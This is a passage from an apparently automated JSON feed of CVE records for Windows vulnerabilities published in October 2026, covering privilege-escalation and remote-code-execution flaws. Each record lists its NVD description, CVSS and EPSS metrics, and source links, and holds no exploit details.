for affected versions and fixes.","publishedAt":"2026-10-13T19:19:00.433Z","updatedAt":"2026-10-16T16:20:06.367Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69856","asOf":"2026-10-16T16:20:06.367Z"},"epss":{"probability":0.00235,"percentile":0.14363,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69856&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69856","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69856","type":"primary","publishedAt":"2026-10-13T19:19:00.433Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69856&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69856, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69850","cveId":"CVE-2026-69850","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in Windows Certificates allows an authorized attacker to elevate privileges locally.","summary":"Untrusted pointer dereference in Windows Certificates allows an authorized attacker to elevate privileges locally.","detail":"Untrusted pointer dereference in Windows Certificates allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:00.257Z","updatedAt":"2026-10-16T16:20:06.170Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69850","asOf":"2026-10-16T16:20:06.170Z"},"epss":{"probability":0.00388,"percentile":0.32609,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69850&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69850","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69850","type":"primary","publishedAt":"2026-10-13T19:19:00.257Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69850&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69850, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69840","cveId":"CVE-2026-69840","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Certificates allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Certificates allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Certificates allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:19:00.093Z","updatedAt":"2026-10-16T16:20:05.957Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69840","asOf":"2026-10-16T16:20:05.957Z"},"epss":{"probability":0.00276,"percentile":0.19873,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69840&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69840","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69840","type":"primary","publishedAt":"2026-10-13T19:19:00.093Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69840&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69840, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69830","cveId":"CVE-2026-69830","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows DHCP Server allows an unauthorized attacker to execute code over a network.","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows DHCP Server allows an unauthorized attacker to execute code over a network.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows DHCP Server allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:59.943Z","updatedAt":"2026-10-13T22:17:45.350Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69830","asOf":"2026-10-13T22:17:45.350Z"},"epss":{"probability":0.0049,"percentile":0.41855,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69830&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69830","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69830","type":"primary","publishedAt":"2026-10-13T19:18:59.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69830&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69830, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69802","cveId":"CVE-2026-69802","aliases":[],"kind":"vulnerability","title":"Weak authentication in Network Device Enrollment Service (NDES) allows an unauthorized attacker to execute code over a network.","summary":"Weak authentication in Network Device Enrollment Service (NDES) allows an unauthorized attacker to execute code over a network.","detail":"Weak authentication in Network Device Enrollment Service (NDES) allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:59.803Z","updatedAt":"2026-10-13T22:17:45.217Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69802","asOf":"2026-10-13T22:17:45.217Z"},"epss":{"probability":0.00641,"percentile":0.50399,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69802&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69802","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69802","type":"primary","publishedAt":"2026-10-13T19:18:59.803Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69802&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69802, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69798","cveId":"CVE-2026-69798","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Wired AutoConfig Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Wired AutoConfig Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Wired AutoConfig Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:59.620Z","updatedAt":"2026-10-16T16:20:05.570Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69798","asOf":"2026-10-16T16:20:05.570Z"},"epss":{"probability":0.00388,"percentile":0.32606,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69798&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69798","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69798","type":"primary","publishedAt":"2026-10-13T19:18:59.620Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69798&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69798, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69795","cveId":"CVE-2026-69795","aliases":[],"kind":"vulnerability","title":"Null pointer dereference in Windows Clipboard Server allows an authorized attacker to elevate privileges locally.","summary":"Null pointer dereference in Windows Clipboard Server allows an authorized attacker to elevate privileges locally.","detail":"Null pointer dereference in Windows Clipboard Server allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:59.467Z","updatedAt":"2026-10-16T16:20:05.393Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69795","asOf":"2026-10-16T16:20:05.393Z"},"epss":{"probability":0.00307,"percentile":0.23265,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69795&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69795","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69795","type":"primary","publishedAt":"2026-10-13T19:18:59.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69795&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69795, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69789","cveId":"CVE-2026-69789","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Reliable Multicast Transport Driver (RMCAST) allows an unauthorized attacker to execute code over an adjacent network.","summary":"Heap-based buffer overflow in Reliable Multicast Transport Driver (RMCAST) allows an unauthorized attacker to execute code over an adjacent network.","detail":"Heap-based buffer overflow in Reliable Multicast Transport Driver (RMCAST) allows an unauthorized attacker to execute code over an adjacent network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:59.293Z","updatedAt":"2026-10-13T22:17:44.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69789","asOf":"2026-10-13T22:17:44.740Z"},"epss":{"probability":0.00473,"percentile":0.40644,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69789&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69789","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69789","type":"primary","publishedAt":"2026-10-13T19:18:59.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69789&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69789, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69783","cveId":"CVE-2026-69783","aliases":[],"kind":"vulnerability","title":"External control of file name or path in Windows Update allows an authorized attacker to elevate privileges locally.","summary":"External control of file name or path in Windows Update allows an authorized attacker to elevate privileges locally.","detail":"External control of file name or path in Windows Update allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:59.167Z","updatedAt":"2026-10-13T22:17:44.623Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69783","asOf":"2026-10-13T22:17:44.623Z"},"epss":{"probability":0.00499,"percentile":0.42486,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69783&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69783","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69783","type":"primary","publishedAt":"2026-10-13T19:18:59.167Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69783&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69783, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69766","cveId":"CVE-2026-69766","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:59.017Z","updatedAt":"2026-10-16T16:20:05.007Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69766","asOf":"2026-10-16T16:20:05.007Z"},"epss":{"probability":0.00235,"percentile":0.14363,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69766&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69766","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69766","type":"primary","publishedAt":"2026-10-13T19:18:59.017Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69766&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69766, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69765","cveId":"CVE-2026-69765","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Storport Miniport Driver allows an unauthorized attacker to execute code over a network.","summary":"Use after free in Windows Storport Miniport Driver allows an unauthorized attacker to execute code over a network.","detail":"Use after free in Windows Storport Miniport Driver allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:58.897Z","updatedAt":"2026-10-13T22:17:44.373Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69765","asOf":"2026-10-13T22:17:44.373Z"},"epss":{"probability":0.00816,"percentile":0.5681,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69765&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69765","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69765","type":"primary","publishedAt":"2026-10-13T19:18:58.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69765&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69765, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69763","cveId":"CVE-2026-69763","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Storage allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:58.747Z","updatedAt":"2026-10-16T16:20:04.780Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69763","asOf":"2026-10-16T16:20:04.780Z"},"epss":{"probability":0.00235,"percentile":0.14362,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69763&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69763","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69763","type":"primary","publishedAt":"2026-10-13T19:18:58.747Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69763&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69763, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69743","cveId":"CVE-2026-69743","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:18:58.617Z","updatedAt":"2026-10-13T22:17:44.107Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69743","asOf":"2026-10-13T22:17:44.107Z"},"epss":{"probability":0.00307,"percentile":0.23263,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-69743&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-69743","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69743","type":"primary","publishedAt":"2026-10-13T19:18:58.617Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-69743&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-69743, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-69736","cveId":"CVE-2026-69736","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Credential Manager allows an authorized attacker to elevate privileges...","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Credential Manager allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Credential Manager allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of 